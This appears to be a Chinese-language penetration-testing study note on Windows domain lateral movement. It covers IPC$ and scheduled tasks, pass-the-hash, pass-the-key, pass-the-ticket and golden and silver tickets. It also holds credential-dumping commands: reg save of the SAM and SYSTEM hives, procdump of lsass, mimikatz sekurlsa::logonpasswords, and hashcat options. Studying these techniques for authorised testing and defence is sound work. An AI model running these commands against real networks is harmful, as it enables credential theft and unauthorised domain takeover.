其实也很好理解,在渗透测试时当我们获取到内网某台机器的控制权后,把它当作一个跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大控制范围。甚至最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境。
IPC(Internet Process Connection)是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。在同一个时间里两个IP只能建立一个IPC连接,通过ipc,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
开启了139、445端口
445远程桌面端口,139表示NetBIOS协议应用,这里是能用445就用445,不能用就是139
开启ipc$默认共享
用户名密码得知道
通过IPC+计划任务的横向移动,整体思路就是:
与目标主机的IPC进行连接,连接后把命令执行的脚本传到目标主机(本地copy命令,或者用CS可以直接上传),同时创建执行命令脚本的计划任务,最后删除IPC连接
建立ipc$的命令
net use \\<IP>\ipc$ password /user:username
net use \\192.168.__.__\ipc$ "123456" /user:administrator
查看已建立的连接
net use
copy命令用来将命令执行的脚本传到目标主机上
copy C:\Users\Desktop\1.txt \\192.168.__.__\c$
ipc连接可以通过本地映射将已经建立IPC连接的主机的任意盘映射到自己的本地。
net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下)
net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
建立连接之后可以用dir列出远程主机的文件
dir \\192.168.__.__\c$
建立连接后可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢)
/s:指要查看的远程系统的IP地址
/u:指定使用哪个用户执行这个远程命令
/p:指定该用户的密码
tasklist /S 192.168.__.__ /U administrator /P password
最后删除ipc连接
net use \\IP /del /y
Schtasks 命令详解
使用schtasks创建名为cs的计划任务
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
可以用如下schtasks命令查看创建的计划任务
schtasks /query /TN cs
删除计划任务
schtasks /delete /tn "cs"
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt
如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果
参考windows 认证机制,这是windows的两种认证机制,NTLM验证靠HASH值,Kerberos靠票据(TICKET)。(感觉认证机制还有黄金白银票据不是一次两次就能看懂的,建议多看几次)
Hash结构如下
username:RID:LM-HASH:NT-HASH
在域环境中为了方便管理,每一台管理员的账号和密码大概率相同(所以这里第一个要求,必须是本地管理员),所以攻击者就可以通过传递hash值来登录内网的其他主机,并且,通过hash传递不需要获得明文密码。
LM Hash是为了提高win操作系统安全性而采用的散列加密算法,本质是DES加密(生成原理),LM Hash明文密码被限定在14位内,它容易被破解但为了保证兼容性,只是将它禁用掉(如果抓到的LM Hash为aa3b435b51404eeaad3b435b51404ee则表示被禁或值为空),NTLM Hash就是为了提高安全性和兼容性而设计的,它基于MD4算法。
NTLM认证过程
1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
2.客户端将username明文传输到域控机
3.然后域控会随机生成16字节的challenge挑战码返回给客户端
4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
5.服务端将客户端发来的信息转发给域控
6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。
提升权限
privilege::debug
这一步可以省略,应该是在2012版本之前可以直接get到明文密码
sekurlsa::logonpasswords
进行测试
sekurlsa::pth /user administrator /domain:域名 /ntlm:ntlm hash 值
PTK(Pass The Key)原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似PTH的功能。AES密匙进行哈希传递的前提是本地安装KB2871997KB2871997是否真的能防御PTH攻击?(SID为500的Administrator账号依旧可以进行NTLM Hash传递)。
使用命令获取aes的hmac
"privilege::debug" //提升权限
"sekurlsa::ekeys"
使用mimikatz进行测试:
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
在弹出的cmd窗口中输入net use命令进行测试
net use
wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试
相比于PTH,票据传递(Pass The Ticket)则不需要本地管理权限。
kerberos认证原理—讲的非常细致,易懂
能用通用的语言介绍下 Kerberos 协议么?
一些名词
KDC(Key Distribution Center):密钥分发中心里面包含两个服务:AS和TGS
AS(AuthenticationServer):身份认证服务 TGS(Ticket Granting Server):票据授予服务
TGT(Ticket GrantingTicket):由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
Pass The Ticket:如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
参考黄金票据和白银票据攻击及其原理介绍
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt(可以理解为域控中用来管理发放票据的用户)的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
使用mimikatz进行传递时,不需要本地管理员权限(system)。
首先将内存中票据导出:
privilege::debug
sekurlas::tickets /export
导出票据后,清除内存中的票据:
kerberos::purge
将票据注入内存
kerberos::ptt "票据"
kerberos::ptt "C:\ticket\[0;-----]-------------------.COM.kirbi"
访问远程主机目录:
dir \\dc\c$
kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据
下载地址:https://github.com/gentilkiwi/kekeo/releases
生成票据文件:
tgt::ask /user:____ /domain:____ /ntlm:___
tgt::ask /user:administrator /domain:----.com /ntlm:D9F9553F-----------------
清空缓存票据,导入票据即可:
kerberos::purge // 清除内存中的其他票据
klist purge //windows下系统自带命令清除票据
kerberos::ptt 票据 // 导入票据
kerberos::ptt [email protected]
导入内存后退出kekeo使用dir命令
exit
dir \\dc\c$
怎么说呢,好多工具已经被标记为恶意软件了。就连平时的渗透测试环境中也只是用到常用的一些工具,所以只是了解一下。
参考内网渗透–横向移动
用户名、散列值和其他安全验证都保存在SAM文件(C:\Windows
\System32\config)中,lsass.exe进程用于实现windows的安全策略,所以可以用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。
https://github.com/QAX-A-Team/getpass
运行后得到账户的NTLM Hash,可通过彩虹表来破解。
https://github.com/Dionach/pwdumpstats
https://github.com/peterdocter/quarkspwdump
QuarksPwDump.exe --dump-hash-local
导出SAM和System文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
把上面导出的文件放到同一目录下
lsadump::sam /sam:sam.hive /system:system.hive
这里需要在目标机器上运行mimikatz,要注意mimikatz在目标机器上不被发现
privilege::debug #提升权限
token::elevate #提升至system权限
lsadump::sam #抓取
privilege::debug
log
sekurlsa::logonpasswords
首先导出lsass.dmp文件,第一种方法,直接任务管理器找到lsass.exe进程,右键选择创建转储文件(Create Dump File),另一种方法是使用工具Procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
导出后扔到mimikatz目录下
sekurlsa::minidump 文件 //有Switch to MINIDUMP字样则成功。
sekurlsa::logonpasswords full
下载地址https://github.com/hashcat/hashcat
Hashcat的使用手册总结
hashcat是一款自称为世界上最快的密码破解工具。kali应该是自带的。下面是hashcat常用参数
-m 指定哈希类型
-a 指定破解模式
-V 查看版本信息
-o 将输出结果储存到指定文件
--force 忽略警告
--show 仅显示破解的hash密码和对应的明文
--remove 从源文件中删除破解成功的hash
--username 忽略hash表中的用户名
-b 测试计算机破解速度和相关硬件信息
-O 限制密码长度
-T 设置线程数
-r 使用规则文件
-1 自定义字符集 -1 0123asd ?1={0123asd}
-2 自定义字符集 -2 0123asd ?2={0123asd}
-3 自定义字符集 -3 0123asd ?3={0123asd}
-i 启用增量破解模式
--increment-min 设置密码最小长度
--increment-max 设置密码最大长度
hashcat破解模式介绍
0 straight 字典破解
1 combination 将字典中密码进行组合(1 2>11 22 12 21)
3 brute-force 使用指定掩码破解
6 Hybrid Wordlist + Mask 字典+掩码破解
7 Hybrid Mask + Wordlist 掩码+字典破解
hashcat集成的字符集
l | abcdefghijklmnopqrstuvwxyz 纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母
d | 0123456789 纯数字
h | 0123456789abcdef 常见小写子目录和数字
H | 0123456789ABCDEF 常见大写字母和数字
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符
a | ?l?u?d?s 键盘上所有可见的字符
b | 0x00 - 0xff 可能是用来匹配像空格这种密码的
PsTool
PsExec 实用工具
emmm因为是参考的《内网安全攻防:渗透测试实战指南》,下面还有一些wmi、smbexec、dcom、spn、Kerberoast、exchange邮件服务等等等等这里就先不总结了,等真的碰到的时候再来总结吧。